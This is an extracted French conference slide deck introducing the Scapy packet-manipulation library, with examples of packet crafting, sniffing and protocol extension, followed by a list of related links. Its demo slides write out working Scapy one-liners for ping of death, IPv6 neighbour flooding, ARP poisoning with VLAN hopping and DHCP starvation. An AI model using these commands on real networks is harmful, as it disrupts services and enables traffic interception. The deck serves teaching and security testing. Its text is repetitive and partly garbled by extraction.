Scapy - Easy Packet Handling - toulibre.org · Pr´esentation de scapy D´emo Scapy Easy Packet...

IntroductionPresentation de scapy

ScapyEasy Packet Handling

Etienne Maynier

etienne.maynier@gmail.com

Capitole du Libre24 Novembre 2012

Etienne Maynier Scapy

Introduction

Manipulation de paquets :Pour des tests reseauPour de l’educationPrincipalement pour des tests de securite

Developpe par Philippe Biondi, chercheur chez EADS Innovation Work

Distribute sous GPLv2

Pourquoi Scapy ?

Pourquoi scapy ? (1/2)

Des limitations

Difficile de faire exactement le paquet que l’on veut :

Valeur precise de checksum / d’id / de padding ?

Le systeme peut intervenir (reassemblage, mauvaise version IP...)

Peu de protocoles en dehors de TCP/UDP/ICMP

Limite a l’imagination de l’auteur

Des interfaces peu intuitives

Exemple : hping3

hping3 --icmp 192.168.1.1 --icmp-cksum 0 --icmp-ipid 42

hping3 -S -R 102.168.1.1 -p 80 -s 10000 -M 42 -o 12 -y

Des limitations

Difficile de faire exactement le paquet que l’on veut :

Valeur precise de checksum / d’id / de padding ?

Le systeme peut intervenir (reassemblage, mauvaise version IP...)

Peu de protocoles en dehors de TCP/UDP/ICMP

Limite a l’imagination de l’auteur

Des interfaces peu intuitives

Exemple : hping3

hping3 --icmp 192.168.1.1 --icmp-cksum 0 --icmp-ipid 42

hping3 -S -R 102.168.1.1 -p 80 -s 10000 -M 42 -o 12 -y

Peu reutilisables

Une boite a outil longue et pas combinable. Ex :

arpspoof

VLAN hopping

Impossible de faire du arpspoof via VLAN hopping

Decoder / Interpreter

Interesting ports on 192.168.9.3:

PORT STATE SERVICE

22/tcp filtered ssh

Mauvaise interpretation : ICMP Host Unreachable recu

Peu reutilisables

Une boite a outil longue et pas combinable. Ex :

arpspoof

VLAN hopping

Impossible de faire du arpspoof via VLAN hopping

Decoder / Interpreter

Interesting ports on 192.168.9.3:

PORT STATE SERVICE

22/tcp filtered ssh

Mauvaise interpretation : ICMP Host Unreachable recu

Principes

Rapide

Des valeurs par defaut utiles

Integre dans python

Extensible

Decode mais n’interprete pas

Exemple

>>> pkt = IP(dst="192.168.1.1") / ICMP() / "Hello World"

>>> pkt.summary()

IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw

>>> res =sr(pkt)

Begin emission:

.Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets

>>> res[0].summary()

IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw ==> IP /

ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw

Principes

Rapide

Des valeurs par defaut utiles

Integre dans python

Extensible

Decode mais n’interprete pas

Exemple

>>> pkt = IP(dst="192.168.1.1") / ICMP() / "Hello World"

>>> pkt.summary()

IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw

>>> res =sr(pkt)

Begin emission:

.Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets

>>> res[0].summary()

IP / ICMP 192.168.1.64 > 192.168.1.1 echo-request 0 / Raw ==> IP /

ICMP 192.168.1.1 > 192.168.1.64 echo-reply 0 / Raw

Fonctionnalites

Envoi couche 2 & 3

send(IP(dst=”192.168.1.1”) / ICMP())

sendp(Ether(dst=”08 :11 :96 :f6 :42 :12”)/IP(dst=”192.168.1.1”) / ICMP())

Sniff avance

pkts = sniff(count=10)

pkts = sniff(filter="icmp and host 192.168.1.1", count = 2)

pkts = sniff(lfilter=lambda(p): p.haslayer(TCP) and p.haslayer(HTTP))

Gestion de pcaps

pkts=rdpcap("captures/snmp.cap")

wrpcap("temp.cap",pkts)

Fuzzing basique

pkt = fuzz(IP())

pkt = IP() / fuzz(ICMP(type="echo-request")

Fonctionnalites

Envoi couche 2 & 3

send(IP(dst=”192.168.1.1”) / ICMP())

Sniff avance

Gestion de pcaps

Fuzzing basique

pkt = fuzz(IP())

Fonctionnalites

Envoi couche 2 & 3

send(IP(dst=”192.168.1.1”) / ICMP())

Sniff avance

Gestion de pcaps

Fuzzing basique

pkt = fuzz(IP())

Fonctionnalites

Envoi couche 2 & 3

send(IP(dst=”192.168.1.1”) / ICMP())

Sniff avance

Gestion de pcaps

Fuzzing basique

pkt = fuzz(IP())

Demo !

Ping of death

send( fragment(IP(dst=”10.0.0.5”)/ICMP()/(”X”*60000)) )

IPv6 Neighbour Advertisement Flooding

send(IPv6(src=RandIP6()) / ICMPv6ND NA(tgt=RandIP6()) / ICMPv6NDOptDstLLAddr(lladdr=RandMAC()),

loop=1)

ARP Poisoning

sendp(Ether(dst=clientMAC)/ARP(op=”who-has”, psrc=gateway, pdst=client),inter=RandNum(10,40),loop=1)

ARP Poisoning with VLAN Hopping

sendp(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op=”who-has”, psrc=gateway, pdst=client),

inter=RandNum(10,40), loop=1 )

Ping of death

loop=1)

ARP Poisoning

Ping of death

loop=1)

ARP Poisoning

Ping of death

loop=1)

ARP Poisoning

Fun (2/2)

DHCP Starvation

sendp(Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")

/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,’0123456789abcdef’))

/DHCP(options=[("message-type","discover"),"end"]))

Scan de protocoles IP

res,unans = sr( IP(dst="target", proto=(0,255))/"XX" )

Scan de Protocole IP avec TTL fixe

res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"XX",retry=-2 )

Fun (2/2)

DHCP Starvation

Fun (2/2)

DHCP Starvation

Add-ons

Exemple d’integration de scapy dans un script maison

1 #! / u s r / b i n / env python2

3 # Set l o g l e v e l to b e n e f i t from Scapy warn ings4 impor t logging

5 logging . getLogger ( ” scapy ” ) . setLevel (1 )6

7 from scapy . all impor t ∗8

9 c l a s s Test ( Packet ) :10 name = ”Test packe t ”11 fields_desc = [ ShortField ( ” t e s t 1 ” , 1) ,12 ShortField ( ” t e s t 2 ” , 2) ]13

14 de f make_test (x , y ) :15 r e t u r n Ether ( ) /IP ( ) /Test ( test1=x , test2=y )16

17 i f __name__ == ” ma i n ” :18 interact ( mydict=globals ( ) , mybanner=”Test add−on v3 .14 ” )

Implementer de nouveaux protocoles

1 c l a s s OSPF_Hdr ( Packet ) :2 name = ”OSPF Header ”3 fields_desc = [4 ByteField ( ” v e r s i o n ” , 2) ,5 ByteEnumField ( ” type ” , 1 , _OSPF_types ) ,6 ShortField ( ” l e n ” , None ) ,7 IPField ( ” s r c ” , ” 1 . 1 . 1 . 1 ” ) ,8 IPField ( ” a r ea ” , ” 0 . 0 . 0 . 0 ” ) , # d e f a u l t : backbone9 XShortField ( ”chksum” , None ) ,

10 ShortEnumField ( ” au th type ” , 0 , {0: ” Nu l l ” , 1 : ” S imple ” , 2 : ” Crypto ”}) ,11 # Nu l l o r S imple Au t h e n t i c a t i o n12 ConditionalField ( XLongField ( ” authdata ” , 0) , lambda pkt : pkt .←

authtype != 2) ,13 # Crypto Au t h e n t i c a t i o n14 ConditionalField ( XShortField ( ” r e s e r v e d ” , 0) , lambda pkt : pkt .←

authtype == 2) ,15 ConditionalField ( ByteField ( ” k e y i d ” , 1) , lambda pkt : pkt . authtype ==←

2) ,16 ConditionalField ( ByteField ( ” au t hda t a l e n ” , 0) , lambda pkt : pkt .←

authtype == 2) ,17 ConditionalField ( XIntField ( ” seq ” , 0) , lambda pkt : pkt . authtype == ←

2) ,18 ]

Questions

Questions ?

References

http://www.secdev.org/projects/scapy/

Doc : http://www.secdev.org/projects/scapy/doc/index.html

Bug Tracker : http://trac.secdev.org/scapy/

Network packet forgery with Scapy, Philippe Biondi, PacSec 2005

Scapy and IPv6 Networking, Philippe Biondi & Arnaud Ebalard, HITB 2006

Scapy - Easy Packet Handling - toulibre.org · Pr´esentation de scapy D´emo Scapy Easy Packet...

Documents

Transcript of Scapy - Easy Packet Handling - toulibre.org · Pr´esentation de scapy D´emo Scapy Easy Packet...

Network packet manipulation with Scapy -

BSides London - Scapy Workshop

Network packet manipulation with Scapy · Problematic Scapy Network discovery and attacks State of the art Forge exactly what you want Decode or interpret ? Many programs Testing

IPv6 Packet Creation With Scapy Documentation - … · CHAPTER ONE INTRODUCTION Welcome to “IPv6 Packet Creation With Scapy”. This guide provides a list of some of the most often

Developing CI/CD for NICs DPDK PMD using DTS · –Uses SW packet generators: scapy, dpdk-pktgen and TRex (by Cisco) –Also HW packet generator, IXIA (Using it’s TCL API) Supports

Packet Crafting using Scapy - Ryerson University · “Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols,

The Very Unofficial Dummies Guide To Scapy - palkeo · Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols,

Network packet manipulation with Scapy - · PDF fileHack.lu, October 15, 2005 ... Philippe BIONDI Network packet manipulation with Scapy. Problematic Scapy Network discovery and attacks

Scapy Documentation - Packetlevel.ch · 2009-12-12 · CHAPTER ONE INTRODUCTION 1.1About Scapy Scapy is a Python program that enables the user to send, sniff and dissect and forge

Scapy Documentation - Dirk Loss · Scapy Documentation, Release 2.1.0 to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the

Scapy documentation (!) - julien.desfossez.free.frjulien.desfossez.free.fr/doc/scapydoc.pdf · 1 Introduction 1.1 About this document 1.2 What is Scapy Scapy is a Python program that

Scapy Pacsec05.Handout

PyData Paris 2015 - Track 4.2 Jean Maynier

Network packet manipulation with Scapy - SecDev.orgsecdev.org/conf/scapy_Aachen.pdf · 2005. 9. 21. · Title: Network packet manipulation with Scapy Author: Philippe BIONDI Subject:

Scapy the packet 途中01

scapy - Computer Sciencecobweb.cs.uga.edu/~perdisci/CSCI4760-F16/Slides/Scapy-Bo.pdf · What is Scapy • Scapy is a packet manipulation tool for computer networks. • forge or decode

Part 2 · SCAPY is a python library that provide (among other things) an interactive shell for packet forging (from L2 to L7). Moreover SCAPY interactive shell provide command for

2020 Budget Speech by Minister David Maynier A Budget for You

Scapy Test

Scapy and IPv6 networking - · PDF fileThe Scapy Concept Scapy + IPv6 = Scapy6 Fun Security with Scapy6 Beware! IPv6 is coming, and it is not happy! The everything is connected world